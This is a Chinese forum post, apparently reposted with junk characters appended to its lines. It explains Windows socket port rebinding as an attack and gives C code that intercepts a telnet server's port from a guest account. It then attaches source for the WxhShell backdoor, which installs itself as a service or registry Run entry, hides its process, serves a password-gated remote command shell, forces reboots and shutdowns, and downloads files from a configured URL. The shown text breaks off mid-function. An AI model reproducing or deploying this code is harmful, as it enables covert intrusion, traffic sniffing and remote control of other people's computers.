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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V?*fl^f  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HOu$14g  
h #gI1(uL  
  saddr.sin_family = AF_INET; +C;;4s)  
[4C_iaE  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2k=|p@V n~  
%pWJ2J@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }R}M>^(R4  
>0:3CpO*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 O[$X36z  
?glx8@  
  这意味着什么?意味着可以进行如下的攻击: N:Q.6_%^  
`L$Av9X\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 QZ(O2!Mg  
~sn3_6{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) NG3:=  
>A]l|#Rz  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Uu+ibVM$  
J ?aJa  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  R`$jF\"`r  
"qC3%9e  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~0024B[G  
 Q'cWqr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 x])j]k  
GGwwdB\x'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Yur}<>`(  
D@ sMCR  
  #include n%\\1  
  #include $ #/8l58  
  #include Fv,c8f  
  #include    g,*fpk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +W1l9n*  
  int main() um]N]cCD`  
  { nTsV>lQY,  
  WORD wVersionRequested; Y ?~n6<  
  DWORD ret; r9(c<E?,h  
  WSADATA wsaData; ER-Xd9R  
  BOOL val; 3ONWu  
  SOCKADDR_IN saddr; i@P= *lLD  
  SOCKADDR_IN scaddr; HQ=pf >  
  int err; ZTqt4H  
  SOCKET s; $l.8  
  SOCKET sc; M@q)\UQ'  
  int caddsize; $A74V [1^  
  HANDLE mt; ,1|=_M31  
  DWORD tid;   i)cG  
  wVersionRequested = MAKEWORD( 2, 2 ); G,Yctv  
  err = WSAStartup( wVersionRequested, &wsaData ); t:lDFv4s  
  if ( err != 0 ) { QHje}  
  printf("error!WSAStartup failed!\n"); $B>L_~cS  
  return -1; Qu<HeSA_  
  } 8Rw:SU9H?T  
  saddr.sin_family = AF_INET; zN9@.!?X2  
   \QSD*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~ cu+QR)  
c uAp,!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *3RD\.jPX  
  saddr.sin_port = htons(23); liB~vdqj  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *a_QuEw _k  
  { .'+JA:3R  
  printf("error!socket failed!\n"); b)XGr?  
  return -1; ZA_~o#0%  
  } p+Bvfn  
  val = TRUE; >>R)?24,<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  ;1,#rTs  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ZFX}=?+  
  { # 6?2 2Os  
  printf("error!setsockopt failed!\n"); WH $*\IGJL  
  return -1; gQ '=mU  
  } ?OO !M  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YP"%z6N@v  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #/`MYh=!W  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2"xhFxoD7  
OB(~zUe.R  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) DVs$3RL  
  { c&RiUU7  
  ret=GetLastError(); W^:g_  
  printf("error!bind failed!\n"); 6xh -m  
  return -1; XxB%  
  } (|6!pQ7  
  listen(s,2); 7S&O {Q7)  
  while(1) v"sU87+  
  { MS|1Q@S9  
  caddsize = sizeof(scaddr); ;''S} ;  
  //接受连接请求 tUfze9m  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); odcrP\S  
  if(sc!=INVALID_SOCKET) 8fWnKWbbjw  
  { blbzh';0}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 'i/"D8  
  if(mt==NULL) C}XB%:5H5  
  { +x:VIi  
  printf("Thread Creat Failed!\n"); WIwGw%_~  
  break; c3Ig4n0Y>  
  } gd31ds!G  
  } l_q1h]/   
  CloseHandle(mt); jI}{0LW&F&  
  } N~yGtnW  
  closesocket(s); 6Vu??qBy  
  WSACleanup(); @yPI$"Ma  
  return 0; q=BAYZ\`  
  }   K,HR=5  
  DWORD WINAPI ClientThread(LPVOID lpParam) =PBJ+"DQs  
  { 7.^1I7O  
  SOCKET ss = (SOCKET)lpParam; <l9qhqHv&  
  SOCKET sc; =)6|lz^  
  unsigned char buf[4096]; BxxqzN+  
  SOCKADDR_IN saddr; t9 id^  
  long num; {K=[Fu=  
  DWORD val; C%Op[H3  
  DWORD ret; DGAg#jh  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ORV'dr  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   q*>|EJR^Rw  
  saddr.sin_family = AF_INET; A56aOI=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xaSiG  
  saddr.sin_port = htons(23); oP<E)  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eY$Q}BcW  
  { 0ipYXbC  
  printf("error!socket failed!\n"); ^yF2xJ)9-  
  return -1; f=MR.\  
  } /0F <GBQ"v  
  val = 100; Lr(wS {  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b(g?X ( &  
  { BtWm ZaKi  
  ret = GetLastError(); j\@|oW0  
  return -1; ~hA;ji|I  
  } oakm{I|k}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QN m.8c$  
  { \?.M1a[  
  ret = GetLastError(); _{?/4ZhA\+  
  return -1; o{QPW  
  } laFF/g;sRC  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) h|=&a0  
  { J 9k~cz  
  printf("error!socket connect failed!\n"); w.0]>/C  
  closesocket(sc); h5#V,$  
  closesocket(ss); (V~PYf%  
  return -1; {?'c|\n Li  
  } W r;?t!  
  while(1) p>]2o\["  
  { 2KmPZ&r  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 o[eIwGxZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 j]_"MMwk$<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >*mLbp"  
  num = recv(ss,buf,4096,0); bPdbKi{j@  
  if(num>0) G@n%P~  
  send(sc,buf,num,0); 3UX})mW  
  else if(num==0) = l9H]`T/  
  break; =}AwA5G  
  num = recv(sc,buf,4096,0); A|U_$!cLZ  
  if(num>0) Ax+q/nvnb  
  send(ss,buf,num,0); SA$1rqU=  
  else if(num==0) 4q5bW+$Xj  
  break; ?l<u%o  
  } n\y%5J+  
  closesocket(ss); e6?h4}[+*  
  closesocket(sc); ;yH1vX  
  return 0 ; vN4g#,<  
  } s*j0uAq)up  
 ,  
XmoS$ /#"  
==========================================================  %sLij*  
APksY!  
下边附上一个代码,,WXhSHELL &ExYul  
_7zER6#}  
========================================================== d6k`=Hlg  
0Sz iTM  
#include "stdafx.h"  Dy@f21+  
*m sW4|=^2  
#include <stdio.h> D~Y 3\KP  
#include <string.h> q y8=4~40  
#include <windows.h> Ge;plD-f  
#include <winsock2.h> U= PG0  
#include <winsvc.h> .sDVBT'%  
#include <urlmon.h> 9f4#b8  
~?{"H<  
#pragma comment (lib, "Ws2_32.lib") B/CP/Pfb  
#pragma comment (lib, "urlmon.lib") "8 "7AoE  
^*]0quu=z  
#define MAX_USER   100 // 最大客户端连接数 :bgi*pR{  
#define BUF_SOCK   200 // sock buffer UI 7JMeV  
#define KEY_BUFF   255 // 输入 buffer yVM 1W"Q  
29#;;n}p  
#define REBOOT     0   // 重启 @kLpK  
#define SHUTDOWN   1   // 关机 ?9801Da#/  
0 .dSP$e  
#define DEF_PORT   5000 // 监听端口 r`L$[C5I  
)LwB  
#define REG_LEN     16   // 注册表键长度 Mc6?]wDB]  
#define SVC_LEN     80   // NT服务名长度 AjZ@hid  
JtU/%s  
// 从dll定义API i=<N4Vx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b&Sk./ J6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jibrSz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^8nK x<&5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,wlh0;,  
)S|}de/a2  
// wxhshell配置信息 bewi.$E{  
struct WSCFG { 1qb 3.  
  int ws_port;         // 监听端口 p' FYK|  
  char ws_passstr[REG_LEN]; // 口令 Bk 1Q.Un  
  int ws_autoins;       // 安装标记, 1=yes 0=no .Go3'$'v  
  char ws_regname[REG_LEN]; // 注册表键名 s!2pOH!u   
  char ws_svcname[REG_LEN]; // 服务名 h30~2]hH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ds4)Nk4%O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0%^m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4+`<'t]Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +S:(cz80V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #$Z|)i]w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 94F9f^ L  
j%KLp4J/e  
}; QO)Q%K,  
16YJQ ue  
// default Wxhshell configuration Ov)rsi  
struct WSCFG wscfg={DEF_PORT, zTP3JOe(  
    "xuhuanlingzhe", l 49)Cv/  
    1, 4y+] V~p  
    "Wxhshell", INrUvD/*  
    "Wxhshell", D;|4ZjM-  
            "WxhShell Service", swnov[0  
    "Wrsky Windows CmdShell Service", t  HPC  
    "Please Input Your Password: ", g4I&3 M  
  1, c;ELAns>  
  "http://www.wrsky.com/wxhshell.exe", vpUS(ztvs  
  "Wxhshell.exe" /9WR>NUAO  
    }; *IGgbg[0  
M#d_kDMw  
// 消息定义模块 R/iw#.Yy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `W8GfbL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8+uwzBNZ:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "@E1^  
char *msg_ws_ext="\n\rExit."; W]n%$a  
char *msg_ws_end="\n\rQuit."; %u43Pj  
char *msg_ws_boot="\n\rReboot..."; >"S'R9t  
char *msg_ws_poff="\n\rShutdown..."; `{/z\  
char *msg_ws_down="\n\rSave to "; LeY\{w  
HT5G HkT  
char *msg_ws_err="\n\rErr!"; 56AaviEC  
char *msg_ws_ok="\n\rOK!"; ab' f:  
V2'(}k  
char ExeFile[MAX_PATH]; K,^{|5'3q  
int nUser = 0; (6?pBdZ  
HANDLE handles[MAX_USER]; c% 0h!zF  
int OsIsNt; .)B_~tct  
yU*j{>%RsK  
SERVICE_STATUS       serviceStatus; lyx p:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lvb0dOmY  
V D.p"F(]  
// 函数声明 !w98 [BE7  
int Install(void); +tOBt("5/  
int Uninstall(void); >GgX-SZ%  
int DownloadFile(char *sURL, SOCKET wsh); r 06}@7  
int Boot(int flag); X1i6CEa<  
void HideProc(void); :*6tbUp  
int GetOsVer(void); l<{]%=Qg  
int Wxhshell(SOCKET wsl); ^C@uP9g  
void TalkWithClient(void *cs); L$@^EENS  
int CmdShell(SOCKET sock); 2[Q*?N  
int StartFromService(void); =[?2'riI  
int StartWxhshell(LPSTR lpCmdLine); 'e\m6~u\hm  
_pKW($\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -";'l @D=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VA)3=82n  
M0x5s@  
// 数据结构和表定义 o 1#XM/Z  
SERVICE_TABLE_ENTRY DispatchTable[] = sN 7I~  
{ bUp%87<*X  
{wscfg.ws_svcname, NTServiceMain}, n\.K:t[:  
{NULL, NULL} =M 7FD  
}; * "ER8\  
PT|^RF%fT  
// 自我安装 QM9~O#rL  
int Install(void) >RBq&'f  
{ OcMd'fwO  
  char svExeFile[MAX_PATH]; +:~&"U^ z&  
  HKEY key; b2H!{a"  
  strcpy(svExeFile,ExeFile); jfS?#;T)  
Y+V*$73`  
// 如果是win9x系统,修改注册表设为自启动 <2ffcBv  
if(!OsIsNt) { lyIstfRh15  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1p23&\\~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nj.(iBmr  
  RegCloseKey(key); &m4 \"X@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { * C~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 23y7l=.b/  
  RegCloseKey(key); djPr 4Nog  
  return 0; sxO_K^eD  
    } rNqJL_!  
  } nV McHN   
} =q^o6{d0"  
else { =5%jKHo+9z  
%7O`]ik:  
// 如果是NT以上系统,安装为系统服务 "(/|[7D)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jY:(Tv3~  
if (schSCManager!=0) ?qw&H /R  
{ {j,bV6X  
  SC_HANDLE schService = CreateService 2ADUJ  
  ( %zd1\We  
  schSCManager, W]_+3qvZ  
  wscfg.ws_svcname, LZM[Wg#  
  wscfg.ws_svcdisp, Z,,Da|edH  
  SERVICE_ALL_ACCESS, BYVp~!u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }%y_Lc L  
  SERVICE_AUTO_START, phbdV8$L  
  SERVICE_ERROR_NORMAL, t_3)}  
  svExeFile, 8S@ ~^D  
  NULL, @+ Berb  
  NULL, EFf<| v  
  NULL, mh.0% 9`9  
  NULL,  ~ceGx  
  NULL gJ c5Y  
  ); mv SNKS  
  if (schService!=0) =a?l@dI]  
  { {.H}+@0  
  CloseServiceHandle(schService); vp4!p~C{  
  CloseServiceHandle(schSCManager); 5D-xm$8C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K,|Gtaa~  
  strcat(svExeFile,wscfg.ws_svcname); W8yr06{]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2[9hl@=%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Trbgg  
  RegCloseKey(key); (Y, @-V  
  return 0; 11X-X  
    } emw3cQ  
  } /.$n>:XR  
  CloseServiceHandle(schSCManager); RX=C)q2c  
} 0OEyJ|g  
} )`-9WCd&  
uMPJ  
return 1; 9:fVHynr  
} > g8;x#  
z:RwCd1\  
// 自我卸载 M)I&^mm39  
int Uninstall(void) \KLWOj%  
{ <R*.T)Z1  
  HKEY key; ~Rk6@&ZS}  
&{x5 |$SD  
if(!OsIsNt) { #?!)-Q%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n|SsV  
  RegDeleteValue(key,wscfg.ws_regname); @w,-T@nAW  
  RegCloseKey(key); I@+dE V`Lf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /Kwo^Q{  
  RegDeleteValue(key,wscfg.ws_regname); &UbNp8h  
  RegCloseKey(key); M`Y~IG}  
  return 0; WSi Utf|g  
  } _ 97F  
} l]T|QhiVd  
} ZaH<\`=%  
else { m,Q<4'  
b&HA_G4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !ygh`]6V  
if (schSCManager!=0) ;|soc:aH  
{ 2B=yT8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [% |i  
  if (schService!=0)  Cj_cu  
  { Rc0OEs%7P  
  if(DeleteService(schService)!=0) { j@ UIN3  
  CloseServiceHandle(schService); RA>xol~xy  
  CloseServiceHandle(schSCManager); IA$:r@QNx8  
  return 0; opte)=]J  
  } }j+ZF'#  
  CloseServiceHandle(schService); 7$Bq.Lc#z  
  } ="d}:Jl  
  CloseServiceHandle(schSCManager); ) (PA:j  
} 4 FGcCE3  
} %$`pD I)  
I Zi1N  
return 1; 3 5B0L.R  
} 5z5#_*)O  
EXS 1.3>  
// 从指定url下载文件 ^Ml)g=Fq  
int DownloadFile(char *sURL, SOCKET wsh) ;5PXPpJ  
{ ::9U5E;!  
  HRESULT hr; +QtK "5M  
char seps[]= "/"; ojT TYR{  
char *token; `L]cJ0tAs  
char *file; rzLpVpTaz  
char myURL[MAX_PATH]; Y71io^td~j  
char myFILE[MAX_PATH]; *]W{83rXQ  
w/~,mzM"  
strcpy(myURL,sURL); ,kpk XK  
  token=strtok(myURL,seps); ,l&Dt,  
  while(token!=NULL) hG uRV|`  
  { HB||'gIC  
    file=token; \P^WUWY  
  token=strtok(NULL,seps); p#qQGJe  
  } #=OKY@z/  
:nC Gqg  
GetCurrentDirectory(MAX_PATH,myFILE); xl5mI~n_~  
strcat(myFILE, "\\"); +]Po!bN@@  
strcat(myFILE, file); ht!o_0{~  
  send(wsh,myFILE,strlen(myFILE),0); k9 .@S  
send(wsh,"...",3,0); vCFMO3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^UEI`_HO0  
  if(hr==S_OK) t}c ymX~  
return 0; BCJo/m  
else fp.,MIS  
return 1; kHo0I8  
)_,*2|b  
} Nm\0>}  
=Qsh3b&<P  
// 系统电源模块 vfK^^S  
int Boot(int flag) 4~P{H/]  
{ A'c0zWV2  
  HANDLE hToken; _o'ii VDuD  
  TOKEN_PRIVILEGES tkp; -,uTAk0+@  
=A$5~op%  
  if(OsIsNt) { /v U$62KA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]- ")r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !)?n n3  
    tkp.PrivilegeCount = 1; !0zbWB9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E2Q;1Re@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mHM38T9C%  
if(flag==REBOOT) { b" 1a7   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FF0N{bY  
  return 0; p3&/F=T;)  
} D\}^<HW  
else { K9njD#/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *Cz>r}W  
  return 0; /a [i:Oa#  
} blpX_N  
  } ;ug& v C  
  else { T4]/w|?G  
if(flag==REBOOT) { P6u9Ngay  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T&oY:1D,g  
  return 0; [ %cW ?@  
} a:r8Jzr  
else { f-F+Y`P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3=RVJb  
  return 0; |F=!0Id<  
} YiJnh47  
} ({v$!AAv  
^ |z|kc  
return 1; O:IU|INq8  
} ai)S:2  
f*,jhJ_I  
// win9x进程隐藏模块 j1Fy'os"!  
void HideProc(void) uUB,OmLN  
{ v*Ds:1"H-I  
t3|If@T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k@L},Td  
  if ( hKernel != NULL ) /BjM&v(5/  
  { 12`q9Io"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'W(+rTFf!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %PRG;kR  
    FreeLibrary(hKernel); AyKvh  
  } 0"ksNnxK  
;R|i@[(J  
return; J3fk3d`2  
} = NHuj.  
/{>$E>N;  
// 获取操作系统版本 cKJf0S:cx-  
int GetOsVer(void) Ls< ";QJc  
{ @<=xfs  
  OSVERSIONINFO winfo; VkTdpeBV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3=5K7 F  
  GetVersionEx(&winfo); ZJ}9g(X..g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S96H`kedZo  
  return 1; mFfw*,M  
  else N[~{'i  
  return 0; Xb?:dlu3  
} $&& mGD;?K  
dn(I$K8  
// 客户端句柄模块 [EI~/#;  
int Wxhshell(SOCKET wsl) !m"LIa#/Cs  
{ \X.CYkgK  
  SOCKET wsh; a\;1%2a  
  struct sockaddr_in client; ZG[P?fM  
  DWORD myID; 8mjPa^A  
v%v(-, _q  
  while(nUser<MAX_USER) '#RzX8|v<  
{ K2$ fKju  
  int nSize=sizeof(client); kW#,o9f\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #hG0{_d7  
  if(wsh==INVALID_SOCKET) return 1; C))5,aX  
h DpIwzJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7=i8$v&GX  
if(handles[nUser]==0) YXz*B5R  
  closesocket(wsh); K.)ionb  
else uu ahR  
  nUser++; jr[(g:L   
  } )[fjZG[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [Jv0^"]  
"yaz!?O>  
  return 0; '!eg9}<  
} !"1}zeve  
B7 PkCS&X  
// 关闭 socket KYE)#<V}@  
void CloseIt(SOCKET wsh) 1 aWzd[i  
{ $J6Pv   
closesocket(wsh); PD #9Z=Hj  
nUser--; Dl=9<:6FW  
ExitThread(0); = og>& K  
} KaVNRS  
^*s DJ #  
// 客户端请求句柄 9 5bi W  
void TalkWithClient(void *cs) b-? wJSf|  
{ eS#kDa/ %  
$HgBzZ7A2  
  SOCKET wsh=(SOCKET)cs; x }\x3U  
  char pwd[SVC_LEN]; O[}{$NXw  
  char cmd[KEY_BUFF]; zs/4tNXw  
char chr[1]; `+DH@ce  
int i,j; w`BY>Xft0  
Kny0 (  
  while (nUser < MAX_USER) { eTg8I/ )%B  
MWdev.m:Z  
if(wscfg.ws_passstr) { L& =a(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }9:( l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d}D%%noIu  
  //ZeroMemory(pwd,KEY_BUFF); \Ui3=8(  
      i=0; (=A61]yB  
  while(i<SVC_LEN) { grD[7;1~:)  
TF]bmM})0  
  // 设置超时 *JnY0xP  
  fd_set FdRead; J?6.yL;  
  struct timeval TimeOut; X,5}i5'!  
  FD_ZERO(&FdRead); /x%h@Cn!  
  FD_SET(wsh,&FdRead); %MG{KG=&o  
  TimeOut.tv_sec=8; E_q/*}]pE  
  TimeOut.tv_usec=0; L hp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jej.!f:H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~[8n+p+&X  
rR Kbs@1M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CzMCd ~*7R  
  pwd=chr[0]; 0gRj3al(  
  if(chr[0]==0xd || chr[0]==0xa) { ;R5@]Hg6q  
  pwd=0; ~7p!t%;$  
  break; G)|Xj70  
  } 87!D@Xn  
  i++; ;X_bDiG$  
    } V}3'0  
v~8Cp C  
  // 如果是非法用户,关闭 socket 8F>u6Y[P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (Q5rOrA"  
} 9sP;s^#t7U  
j_I[k8z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); In[rxT~K}Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mpr_AL!ZO~  
epicY  
while(1) { }b5omHUE%  
y^!>'cdV  
  ZeroMemory(cmd,KEY_BUFF); YD3jP}Ym  
yj$$k~@  
      // 自动支持客户端 telnet标准   "Jahc.I  
  j=0; 2LfiaHO  
  while(j<KEY_BUFF) { oACbZ#/@n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SND@#?hiO  
  cmd[j]=chr[0]; @V?T'@W7D  
  if(chr[0]==0xa || chr[0]==0xd) { Vu`5/QDq  
  cmd[j]=0; e{EC# %x_  
  break; kzE<Y  
  } V` T l$EF  
  j++; LC1WVK/  
    } zqHG2:MN"  
>jU25"XI[  
  // 下载文件 0g 2?  
  if(strstr(cmd,"http://")) { Iuyq!R4:7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZUyS+60  
  if(DownloadFile(cmd,wsh)) z*a-=w0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z @g%9 |U  
  else f+ cN'jH E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3"BSP3/ [l  
  } ~'V&[]nh8  
  else { 0 k.\o"y  
>D jJ*vM  
    switch(cmd[0]) { E2xK GK   
  oF0DprP@  
  // 帮助 hW!2C6  
  case '?': { $:?Dyu(Il  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rp '^]Zx  
    break; C66 9:%  
  } HNRAtRvnY  
  // 安装 |.4>#<$__  
  case 'i': {  Vp7d  
    if(Install()) E^iShe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C'y4 ~7  
    else `fuQ t4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s=e`}4  
    break; %G|Rb MP  
    } f,|g|&C  
  // 卸载 z`qb>Y"xf3  
  case 'r': { Gx7bV}&PN  
    if(Uninstall()) UX2@eyejQ7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V3% >TNp  
    else ;^TSla+t+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6b7c9n Z  
    break; y>#_LhTX-  
    } *@{  
  // 显示 wxhshell 所在路径 zviTGhA  
  case 'p': { /1v:eoF;  
    char svExeFile[MAX_PATH]; _l"=#i@L  
    strcpy(svExeFile,"\n\r"); rB|1<jR  
      strcat(svExeFile,ExeFile); pO/vD~C>  
        send(wsh,svExeFile,strlen(svExeFile),0); fN1b+ d~*6  
    break; Vx}e,(i  
    } 6HguZ_jC  
  // 重启 soRY M  
  case 'b': { DfU]+;AE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x5Ue"RMl+  
    if(Boot(REBOOT)) :GN++\ 1pw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !}5f{,.RO  
    else { 74 W Ky  
    closesocket(wsh); D^QL.Du,  
    ExitThread(0); K'}I?H~P_  
    } !4a#);`G  
    break; m-6&-G#  
    } ~ulcLvm:i  
  // 关机 Q:j~ kutS|  
  case 'd': { l^XOW- ;u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); No8-Hm  
    if(Boot(SHUTDOWN)) $dxA7 `L  
